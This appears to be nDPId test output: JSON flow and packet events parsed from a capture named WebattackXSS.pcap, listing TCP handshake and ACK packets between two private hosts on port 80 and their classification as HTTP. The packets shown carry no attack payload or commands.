+00432{"flow_id":197,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2850,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347309,"pkt_ts_usec":703173,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hK9AAD4GQSmsEAABwKgKMtnWAFBzErTYsKOSw4AQAOV3BQAAAQEICgE6Ne0D5Adj"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2854,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1499347310567,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55834,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":201,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2854,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347310,"pkt_ts_usec":567182,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8riNAAD4GF62sEAABwKgKMtoaAFDhF5jmAAAAAKACchDSmwAAAgQFtAQCCAoBOjbFAAAAAAEDAwc="} +00444{"flow_id":201,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2855,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347310,"pkt_ts_usec":567305,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2hoggEnh4ReY56AScSBc+gAAAgQFtAQCCAoD5Ag7ATo2xQEDAwc="} +00432{"flow_id":201,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2856,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347310,"pkt_ts_usec":567864,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0riRAAD4GF7SsEAABwKgKMtoaAFDhF5jnIIBJ4oAQAOX8AQAAAQEICgE6NsUD5Ag7"} +00432{"flow_id":198,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2860,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347310,"pkt_ts_usec":702525,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z+5AAD4GXeqsEAABwKgKMtnkAFD8k1ZXgTk+qoARAOXSsgAAAQEICgE6NucD5AMw"} +00433{"flow_id":198,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2861,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347310,"pkt_ts_usec":702701,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NvdAAEAGjOHAqAoyrBAAAQBQ2eSBOT6q\/JNWWIARAOPNhgAAAQEICgPkCF0BOjbn"} +00432{"flow_id":198,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2862,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347310,"pkt_ts_usec":703520,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z+9AAD4GXemsEAABwKgKMtnkAFD8k1ZYgTk+q4AQAOXNhAAAAQEICgE6NucD5Ahd"} +00432{"flow_id":199,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2866,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347311,"pkt_ts_usec":702189,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0t69AAD4GDimsEAABwKgKMtnyAFBPt4VVTjI6noARAOWFXQAAAQEICgE6N+ED5ARv"} +00433{"flow_id":199,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2867,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347311,"pkt_ts_usec":702363,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0M8lAAEAGkA\/AqAoyrBAAAQBQ2fJOMjqeT7eFVoARAOOAdgAAAQEICgPkCVcBOjfh"} +00432{"flow_id":199,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2868,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347311,"pkt_ts_usec":703138,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0t7BAAD4GDiisEAABwKgKMtnyAFBPt4VWTjI6n4AQAOWAdAAAAQEICgE6N+ED5AlX"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2875,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1499347313106,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55860,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":202,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2875,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347313,"pkt_ts_usec":106006,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80LNAAD4G9RysEAABwKgKMto0AFBr7OnzAAAAAKACchD0JAAAAgQFtAQCCAoBOjlAAAAAAAEDAwc="} +00444{"flow_id":202,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2876,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347313,"pkt_ts_usec":106166,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2jRgNfxEa+zp9KAScSCJ7wAAAgQFtAQCCAoD5Aq2ATo5QAEDAwc="} +00432{"flow_id":202,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2877,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347313,"pkt_ts_usec":106881,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00LRAAD4G9SOsEAABwKgKMto0AFBr7On0YDX8RYAQAOUo9wAAAQEICgE6OUAD5Aq2"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":6,"flow_first_seen":1499347239517,"flow_last_seen":1499347244683,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55078,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":6,"flow_first_seen":1499347239517,"flow_last_seen":1499347244683,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55078,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":6,"flow_first_seen":1499347240786,"flow_last_seen":1499347246684,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55092,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":6,"flow_first_seen":1499347240786,"flow_last_seen":1499347246684,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55092,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":6,"flow_first_seen":1499347243333,"flow_last_seen":1499347248684,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55118,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":6,"flow_first_seen":1499347243333,"flow_last_seen":1499347248684,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55118,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":6,"flow_first_seen":1499347244580,"flow_last_seen":1499347249685,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55132,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":6,"flow_first_seen":1499347244580,"flow_last_seen":1499347249685,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55132,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":6,"flow_first_seen":1499347247114,"flow_last_seen":1499347252685,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55158,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":6,"flow_first_seen":1499347247114,"flow_last_seen":1499347252685,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55158,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":6,"flow_first_seen":1499347248373,"flow_last_seen":1499347253687,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55172,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2881,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":6,"flow_first_seen":1499347248373,"flow_last_seen":1499347253687,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55172,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2884,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":1499347314358,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55874,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":203,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2884,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347314,"pkt_ts_usec":358143,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8wpZAAD4GAzqsEAABwKgKMtpCAFAntfjvAAAAAKACchAoGQAAAgQFtAQCCAoBOjp5AAAAAAEDAwc="} +00444{"flow_id":203,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2885,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347314,"pkt_ts_usec":358258,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2kLsSHY8J7X48KAScSC2nwAAAgQFtAQCCAoD5AvvATo6eQEDAwc="} +00432{"flow_id":203,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2886,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347314,"pkt_ts_usec":359039,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wpdAAD4GA0GsEAABwKgKMtpCAFAntfjw7Eh2PYAQAOVVpwAAAQEICgE6OnkD5Avv"} +00432{"flow_id":200,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2890,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347314,"pkt_ts_usec":703202,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0V4xAAD4GbkysEAABwKgKMtoMAFADiWIH7XEpb4ARAOVhLgAAAQEICgE6Os8D5AcC"} +00432{"flow_id":200,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2891,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347314,"pkt_ts_usec":703421,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0JSpAAEAGnq7AqAoyrBAAAQBQ2gztcSlvA4liCIARAONb7AAAAQEICgPkDEUBOjrP"} +00432{"flow_id":200,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2892,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347314,"pkt_ts_usec":704173,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0V41AAD4GbkusEAABwKgKMtoMAFADiWII7XEpcIAQAOVb6gAAAQEICgE6Os8D5AxF"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2896,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":1499347315631,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55888,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":204,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2896,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347315,"pkt_ts_usec":631110,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8y+VAAD4G+eqsEAABwKgKMtpQAFAKdfBSAAAAAKACchBMqgAAAgQFtAQCCAoBOju3AAAAAAEDAwc="} +00444{"flow_id":204,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2897,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347315,"pkt_ts_usec":631239,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2lDsZegJCnXwU6AScSBoCAAAAgQFtAQCCAoD5A0tATo7twEDAwc="} +00432{"flow_id":204,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2898,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347315,"pkt_ts_usec":631991,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0y+ZAAD4G+fGsEAABwKgKMtpQAFAKdfBT7GXoCoAQAOUHEAAAAQEICgE6O7cD5A0t"} +00433{"flow_id":201,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2902,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347315,"pkt_ts_usec":704052,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0riVAAD4GF7OsEAABwKgKMtoaAFDhF5jnIIBJ4oARAOX2\/AAAAQEICgE6O8kD5Ag7"} +00432{"flow_id":201,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2903,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347315,"pkt_ts_usec":704272,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0RN1AAEAGfvvAqAoyrBAAAQBQ2hoggEni4ReY6IARAOPx+QAAAQEICgPkDT8BOjvJ"} +00433{"flow_id":201,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2904,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347315,"pkt_ts_usec":705016,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0riZAAD4GF7KsEAABwKgKMtoaAFDhF5joIIBJ44AQAOXx9wAAAQEICgE6O8kD5A0\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2914,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1499347318180,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55914,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":205,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2914,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347318,"pkt_ts_usec":180354,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA81llAAD4G73asEAABwKgKMtpqAFAYI+htAAAAAKACchBESgAAAgQFtAQCCAoBOj40AAAAAAEDAwc="} +00444{"flow_id":205,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2915,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347318,"pkt_ts_usec":180482,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2mqVHZfsGCPobqAScSAEkQAAAgQFtAQCCAoD5A+qATo+NAEDAwc="} +00432{"flow_id":205,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2916,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347318,"pkt_ts_usec":181198,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01lpAAD4G732sEAABwKgKMtpqAFAYI+hulR2X7YAQAOWjmAAAAQEICgE6PjQD5A+q"} +00432{"flow_id":202,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2920,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347318,"pkt_ts_usec":704682,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00LVAAD4G9SKsEAABwKgKMto0AFBr7On0YDX8RYARAOUjfwAAAQEICgE6PrcD5Aq2"} +00433{"flow_id":202,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2921,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347318,"pkt_ts_usec":704914,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07GhAAEAG12\/AqAoyrBAAAQBQ2jRgNfxFa+zp9YARAOMeCQAAAQEICgPkEC0BOj63"} +00432{"flow_id":202,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2922,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347318,"pkt_ts_usec":705632,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00LZAAD4G9SGsEAABwKgKMto0AFBr7On1YDX8RoAQAOUeBwAAAQEICgE6PrcD5BAt"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2926,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1499347319466,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55928,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":206,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2926,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347319,"pkt_ts_usec":466164,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8vPhAAD4GCNisEAABwKgKMtp4AFBaBoOOAAAAAKACchBl9gAAAgQFtAQCCAoBOj92AAAAAAEDAwc="} +00445{"flow_id":206,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2927,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347319,"pkt_ts_usec":466297,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2ni9VjICWgaDj6AScSBirAAAAgQFtAQCCAoD5BDsATo\/dgEDAwc="} 